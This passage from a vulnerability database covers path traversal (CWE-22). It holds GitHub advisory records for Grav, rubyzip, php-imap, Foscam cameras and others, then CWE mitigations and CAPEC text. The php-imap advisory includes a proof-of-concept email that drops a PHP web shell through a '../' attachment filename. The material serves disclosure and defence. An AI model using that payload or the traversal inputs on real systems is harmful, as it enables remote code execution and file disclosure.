Grav\u0027s own installation, it is bounded only by OS-level file permissions of the web server user, so on shared hosting this could reach other tenants\u0027 files, and even within a single Grav install it reaches well outside the `user://`/`theme://` scope the sandbox is meant to constrain content authors to.\n\n## Suggested fix\n\nIn `mediaDirFunc()`, when `$media_dir` is not a recognized stream, reject it rather than falling through to use it as-is, or resolve it and verify with `realpath()` that the result is contained within an explicitly allowed root (for example `user://`) before constructing `Media`. Separately, resolve the contradiction in `system/config/security.yaml`, either remove `filepath` from the `Medium` allow-list to match the stated intent in the comment above it, or, if some sandboxed use of `filepath` is genuinely needed, scope it so it cannot be combined with an unbounded `media_directory()` to reach arbitrary paths.\n\n===========================================================\nCWE FIELD\n===========================================================\nCWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n===========================================================\nCVSS CALCULATOR SELECTIONS (v3.1)\n===========================================================\nAttack Vector: Network\nAttack Complexity: Low\nPrivileges Required: Low\nUser Interaction: None\nScope: Unchanged\nConfidentiality: High\nIntegrity: None\nAvailability: None\n\nResulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\nResulting score: 6.5, severity Medium\n\nNote for the maintainer: I scored this the same base vector as the sandbox array-bypass report since both are read-only, page-editor-privileged, high-confidentiality-impact issues in the same subsystem. I think this one may warrant going higher in your own triage, the array-bypass report only reaches Grav\u0027s own `system`/`site`/`theme` config trees, this one reaches the entire filesystem the web server user can read, bounded only by file extension, which is a materially larger blast radius. Please rescore Confidentiality/overall severity if your risk model treats \"reads any file on disk\" as categorically worse than \"reads this app\u0027s own config\".\n\n===========================================================\nSEVERITY FIELD\n===========================================================\nModerate, possibly High, see note above",
"id": "GHSA-47ch-6w46-6xm7",
"modified": "2026-09-17T20:27:47Z",
"published": "2026-09-17T20:27:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-47ch-6w46-6xm7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72697"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-cms-before-path-traversal-via-media-directory"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content"
}
GHSA-47FM-95XJ-VFVG
Vulnerability from github – Published: 2026-02-11 18:31 – Updated: 2026-02-11 18:31A path traversal vulnerability in the check_token function of Shenzhen Zhibotong Electronics ZBT WE2001 23.09.27 allows remote attackers to bypass authentication and perform administrative actions by supplying a crafted session cookie value.
{
"affected": [],
"aliases": [
"CVE-2025-64075"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-11T16:15:57Z",
"severity": "CRITICAL"
},
"details": "A path traversal vulnerability in the check_token function of Shenzhen Zhibotong Electronics ZBT WE2001 23.09.27 allows remote attackers to bypass authentication and perform administrative actions by supplying a crafted session cookie value.",
"id": "GHSA-47fm-95xj-vfvg",
"modified": "2026-02-11T18:31:28Z",
"published": "2026-02-11T18:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64075"
},
{
"type": "WEB",
"url": "https://neutsec.io/advisories/cve-2025-64075"
},
{
"type": "WEB",
"url": "https://www.zbtwifi.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-47FV-MM82-VWWX
Vulnerability from github – Published: 2022-05-14 03:04 – Updated: 2022-05-14 03:04The vulnerability exists within processing of editscript.php in Schneider Electric U.motion Builder software versions prior to v1.3.4. A directory traversal vulnerability allows a caller with standard user privileges to write arbitrary php files anywhere in the web service directory tree.
{
"affected": [],
"aliases": [
"CVE-2018-7771"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-03T14:29:00Z",
"severity": "HIGH"
},
"details": "The vulnerability exists within processing of editscript.php in Schneider Electric U.motion Builder software versions prior to v1.3.4. A directory traversal vulnerability allows a caller with standard user privileges to write arbitrary php files anywhere in the web service directory tree.",
"id": "GHSA-47fv-mm82-vwwx",
"modified": "2022-05-14T03:04:23Z",
"published": "2022-05-14T03:04:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7771"
},
{
"type": "WEB",
"url": "https://www.schneider-electric.com/en/download/document/SEVD-2018-095-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-47J5-XG3V-X546
Vulnerability from github – Published: 2022-05-17 01:24 – Updated: 2022-05-17 01:24Directory traversal vulnerability in the App Installation feature in Apple iOS before 8 allows local users to install unverified apps by triggering code-signature validation of an unintended bundle.
{
"affected": [],
"aliases": [
"CVE-2014-4384"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-09-18T10:55:00Z",
"severity": "LOW"
},
"details": "Directory traversal vulnerability in the App Installation feature in Apple iOS before 8 allows local users to install unverified apps by triggering code-signature validation of an unintended bundle.",
"id": "GHSA-47j5-xg3v-x546",
"modified": "2022-05-17T01:24:14Z",
"published": "2022-05-17T01:24:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4384"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/96087"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2014-09/0106.html"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT6441"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/69882"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/69940"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1030866"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-47M2-WP7J-P9VC
Vulnerability from github – Published: 2026-09-03 21:31 – Updated: 2026-09-25 19:25rubyzip versions before 3.4.0 contain a path traversal vulnerability in Zip::Entry#extract that fails to properly validate extraction paths using prefix comparison without trailing separators. Attackers can craft archive entries with names like ../upload_backup/owned.sh to write files outside the intended extraction directory into sibling paths sharing the destination prefix.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rubyzip"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-85396"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-25T19:25:52Z",
"nvd_published_at": "2026-09-03T19:17:31Z",
"severity": "HIGH"
},
"details": "rubyzip versions before 3.4.0 contain a path traversal vulnerability in `Zip::Entry#extract` that fails to properly validate extraction paths using prefix comparison without trailing separators. Attackers can craft archive entries with names like `../upload_backup/owned.sh` to write files outside the intended extraction directory into sibling paths sharing the destination prefix.",
"id": "GHSA-47m2-wp7j-p9vc",
"modified": "2026-09-25T19:25:52Z",
"published": "2026-09-03T21:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85396"
},
{
"type": "WEB",
"url": "https://github.com/rubyzip/rubyzip/commit/17edfbf4423b83211b075acc23a7d8640da63449"
},
{
"type": "WEB",
"url": "https://github.com/geo-chen/oss/blob/main/rubyzip.md"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rubyzip/CVE-2026-85396.yml"
},
{
"type": "PACKAGE",
"url": "https://github.com/rubyzip/rubyzip"
},
{
"type": "WEB",
"url": "https://github.com/rubyzip/rubyzip/blob/v3.3.1/lib/zip/entry.rb"
},
{
"type": "WEB",
"url": "https://github.com/rubyzip/rubyzip/releases/tag/v3.4.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/rubyzip-before-3.4.0-path-traversal-in-zip-entry-extract-via-sibling-directory-prefix"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "rubyzip path traversal vulnerability"
}
GHSA-47P7-XFCC-4PV9
Vulnerability from github – Published: 2023-06-21 21:58 – Updated: 2023-06-21 21:58Summary
An unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability which results in a remote code execution vulnerability.
Details
An attacker can send an email with a malicious attachment to the inbox, which gets crawled with webklex/php-imap or webklex/laravel-imap. Prerequisite for the vulnerability is that the script stores the attachments without providing a $filename, or providing an unsanitized $filename, in src/Attachment::save(string $path, string $filename = null) (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255).
In this case, where no $filename gets passed into the Attachment::save() method, the package would use a series of unsanitized and insecure input values from the mail as fallback (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252).
Even if a developer passes a $filename into the Attachment::save() method, e.g. by passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package.
There is also no restriction about the file extension (e.g. ".php") or the contents of a file. This allows an attacker to upload malicious code of any type and content at any location where the underlying user has write permissions.
The attacker can also overwrite existing files and inject malicious code into files that, e.g. get executed by the system via cron, requests,...
The official documentation only shows examples of Attachment::save() without providing the $filename (https://www.php-imap.com/api/attachment), which makes this vulnerability even more widespread.
PoC
- send an email with a malicious attachment to an inbox, which gets crawled by the package
Return-Path: <attacker@example.com>
Date: Fri, 17 Aug 2018 14:36:24 +0000
From: Attacker <attacker@example.com>
To: Victim <victim@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_"
Mail with malicious attachment
--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_
Content-Type: application/octet-stream; name=shell.php
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename=../../../../../../../../../../../../var/www/shell.php
<?php
// RCE
system($_GET['cmd'] ?? '#');
?>
--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_--
- crawl email with malicious attachment
- store the attachment with
Attachment::save('/path/to/storage')without providing a$filenamevalue
Impact
This is a remote code execution vulnerability that is made possible through a directory traversal vulnerability.
Every application that stores attachments with Attachment::save() without providing a $filename or passing unsanitized user input is affected by this attack.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "webklex/php-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "webklex/laravel-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-35169"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-21T21:58:58Z",
"nvd_published_at": "2023-06-23T21:15:09Z",
"severity": "CRITICAL"
},
"details": "### Summary\nAn unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability which results in a remote code execution vulnerability.\n\n### Details\nAn attacker can send an email with a malicious attachment to the inbox, which gets crawled with webklex/php-imap or webklex/laravel-imap. Prerequisite for the vulnerability is that the script stores the attachments without providing a `$filename`, or providing an unsanitized `$filename`, in `src/Attachment::save(string $path, string $filename = null)` (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255).\nIn this case, where no `$filename` gets passed into the `Attachment::save()` method, the package would use a series of unsanitized and insecure input values from the mail as fallback (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252).\nEven if a developer passes a `$filename` into the `Attachment::save()` method, e.g. by passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package.\nThere is also no restriction about the file extension (e.g. \".php\") or the contents of a file. This allows an attacker to upload malicious code of any type and content at any location where the underlying user has write permissions.\nThe attacker can also overwrite existing files and inject malicious code into files that, e.g. get executed by the system via cron, requests,...\nThe official documentation only shows examples of `Attachment::save()` without providing the `$filename` (https://www.php-imap.com/api/attachment), which makes this vulnerability even more widespread.\n\n### PoC\n1. send an email with a malicious attachment to an inbox, which gets crawled by the package\n```\nReturn-Path: \u003cattacker@example.com\u003e\nDate: Fri, 17 Aug 2018 14:36:24 +0000\nFrom: Attacker \u003cattacker@example.com\u003e\nTo: Victim \u003cvictim@example.com\u003e\nMIME-Version: 1.0\nContent-Type: multipart/mixed;\n boundary=\"_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_\"\n\nMail with malicious attachment\n\n--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_\nContent-Type: application/octet-stream; name=shell.php\nContent-Transfer-Encoding: 8bit\nContent-Disposition: attachment; filename=../../../../../../../../../../../../var/www/shell.php\n\n\u003c?php\n// RCE\nsystem($_GET[\u0027cmd\u0027] ?? \u0027#\u0027);\n?\u003e\n\n--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_--\n\n\n```\n3. crawl email with malicious attachment\n4. store the attachment with `Attachment::save(\u0027/path/to/storage\u0027)` without providing a `$filename` value\n\n### Impact\nThis is a remote code execution vulnerability that is made possible through a directory traversal vulnerability.\nEvery application that stores attachments with `Attachment::save()` without providing a `$filename` or passing unsanitized user input is affected by this attack.\n",
"id": "GHSA-47p7-xfcc-4pv9",
"modified": "2023-06-21T21:58:58Z",
"published": "2023-06-21T21:58:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Webklex/php-imap/security/advisories/GHSA-47p7-xfcc-4pv9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35169"
},
{
"type": "WEB",
"url": "https://github.com/Webklex/php-imap/pull/414"
},
{
"type": "PACKAGE",
"url": "https://github.com/Webklex/php-imap"
},
{
"type": "WEB",
"url": "https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255"
},
{
"type": "WEB",
"url": "https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252"
},
{
"type": "WEB",
"url": "https://github.com/Webklex/php-imap/releases/tag/5.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "php-imap vulnerable to RCE through a directory traversal vulnerability"
}
GHSA-47PP-3C28-CJ5X
Vulnerability from github – Published: 2022-05-17 00:12 – Updated: 2025-04-20 03:49The remote management interface on the Claymore Dual GPU miner 10.1 is vulnerable to an authenticated directory traversal vulnerability exploited by issuing a specially crafted request, allowing a remote attacker to read/write arbitrary files. This can be exploited via ../ sequences in the pathname to miner_file or miner_getfile.
{
"affected": [],
"aliases": [
"CVE-2017-16929"
],
"database_specific": {
"cwe_ids": [
"CWE-119",
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-12-05T09:29:00Z",
"severity": "HIGH"
},
"details": "The remote management interface on the Claymore Dual GPU miner 10.1 is vulnerable to an authenticated directory traversal vulnerability exploited by issuing a specially crafted request, allowing a remote attacker to read/write arbitrary files. This can be exploited via ../ sequences in the pathname to miner_file or miner_getfile.",
"id": "GHSA-47pp-3c28-cj5x",
"modified": "2025-04-20T03:49:24Z",
"published": "2022-05-17T00:12:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16929"
},
{
"type": "WEB",
"url": "https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-16929"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/43231"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2017/12/04/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-47QG-VR85-CG38
Vulnerability from github – Published: 2022-05-14 03:00 – Updated: 2022-05-14 03:00Directory traversal vulnerability in Foscam Cameras C1 Lite V3, and C1 V3 with firmware 2.82.2.33 and earlier, FI9800P V3, FI9803P V4, FI9851P V3, and FI9853EP V2 2.84.2.33 and earlier, FI9816P V3, FI9821EP V2, FI9821P V3, FI9826P V3, and FI9831P V3 2.81.2.33 and earlier, C1, C1 V2, C1 Lite, and C1 Lite V2 2.52.2.47 and earlier, FI9800P, FI9800P V2, FI9803P V2, FI9803P V3, and FI9851P V2 2.54.2.47 and earlier, FI9815P, FI9815P V2, FI9816P, and FI9816P V2, 2.51.2.47 and earlier, R2 and R4 2.71.1.59 and earlier, C2 and FI9961EP 2.72.1.59 and earlier, FI9900EP, FI9900P, and FI9901EP 2.74.1.59 and earlier, FI9928P 2.74.1.58 and earlier, FI9803EP and FI9853EP 2.22.2.31 and earlier, FI9803P and FI9851P 2.24.2.31 and earlier, FI9821P V2, FI9826P V2, FI9831P V2, and FI9821EP 2.21.2.31 and earlier, FI9821W V2, FI9831W, FI9826W, FI9821P, FI9831P, and FI9826P 2.11.1.120 and earlier, FI9818W V2 2.13.2.120 and earlier, FI9805W, FI9804W, FI9804P, FI9805E, and FI9805P 2.14.1.120 and earlier, FI9828P, and FI9828W 2.13.1.120 and earlier, and FI9828P V2 2.11.1.133 and earlier allows remote attackers to delete arbitrary files via a .. (dot dot) in the URI path component.
{
"affected": [],
"aliases": [
"CVE-2018-6830"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-09T17:29:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in Foscam Cameras C1 Lite V3, and C1 V3 with firmware 2.82.2.33 and earlier, FI9800P V3, FI9803P V4, FI9851P V3, and FI9853EP V2 2.84.2.33 and earlier, FI9816P V3, FI9821EP V2, FI9821P V3, FI9826P V3, and FI9831P V3 2.81.2.33 and earlier, C1, C1 V2, C1 Lite, and C1 Lite V2 2.52.2.47 and earlier, FI9800P, FI9800P V2, FI9803P V2, FI9803P V3, and FI9851P V2 2.54.2.47 and earlier, FI9815P, FI9815P V2, FI9816P, and FI9816P V2, 2.51.2.47 and earlier, R2 and R4 2.71.1.59 and earlier, C2 and FI9961EP 2.72.1.59 and earlier, FI9900EP, FI9900P, and FI9901EP 2.74.1.59 and earlier, FI9928P 2.74.1.58 and earlier, FI9803EP and FI9853EP 2.22.2.31 and earlier, FI9803P and FI9851P 2.24.2.31 and earlier, FI9821P V2, FI9826P V2, FI9831P V2, and FI9821EP 2.21.2.31 and earlier, FI9821W V2, FI9831W, FI9826W, FI9821P, FI9831P, and FI9826P 2.11.1.120 and earlier, FI9818W V2 2.13.2.120 and earlier, FI9805W, FI9804W, FI9804P, FI9805E, and FI9805P 2.14.1.120 and earlier, FI9828P, and FI9828W 2.13.1.120 and earlier, and FI9828P V2 2.11.1.133 and earlier allows remote attackers to delete arbitrary files via a .. (dot dot) in the URI path component.",
"id": "GHSA-47qg-vr85-cg38",
"modified": "2022-05-14T03:00:29Z",
"published": "2022-05-14T03:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6830"
},
{
"type": "WEB",
"url": "https://blog.vdoo.com/2018/06/06/vdoo-has-found-major-vulnerabilities-in-foscam-cameras"
},
{
"type": "WEB",
"url": "https://www.foscam.com/company/securing-your-foscam-camera-important-notice.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-47R4-P7WR-42HW
Vulnerability from github – Published: 2026-04-28 09:34 – Updated: 2026-04-28 09:34A security vulnerability has been detected in ErlichLiu claude-agent-sdk-master up to b185aa7ff0d864581257008077b4010fca1747bf. Affected by this vulnerability is an unknown functionality of the file app/api/agent-output/route.ts. The manipulation of the argument outputFile leads to path traversal. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-7235"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-28T08:16:02Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in ErlichLiu claude-agent-sdk-master up to b185aa7ff0d864581257008077b4010fca1747bf. Affected by this vulnerability is an unknown functionality of the file app/api/agent-output/route.ts. The manipulation of the argument outputFile leads to path traversal. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-47r4-p7wr-42hw",
"modified": "2026-04-28T09:34:13Z",
"published": "2026-04-28T09:34:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7235"
},
{
"type": "WEB",
"url": "https://github.com/ErlichLiu/claude-agent-sdk-master/issues/5"
},
{
"type": "WEB",
"url": "https://github.com/ErlichLiu/claude-agent-sdk-master"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/802828"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359844"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359844/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-47RG-8F55-R569
Vulnerability from github – Published: 2023-06-05 03:31 – Updated: 2024-04-04 04:31OfflinePlayerService.exe in Harbinger Offline Player 4.0.6.0.2 allows directory traversal as LocalSystem via ..\ in a URL.
{
"affected": [],
"aliases": [
"CVE-2023-34407"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-05T02:15:09Z",
"severity": "HIGH"
},
"details": "OfflinePlayerService.exe in Harbinger Offline Player 4.0.6.0.2 allows directory traversal as LocalSystem via ..\\ in a URL.",
"id": "GHSA-47rg-8f55-r569",
"modified": "2024-04-04T04:31:37Z",
"published": "2023-06-05T03:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34407"
},
{
"type": "WEB",
"url": "https://cybir.com/2023/cve/proof-of-concept-checkpoint-learning-harbinger-systems-offline-player-multiple-poc-for-cl-4-0-6-0-2-lfi-excessive-rights"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
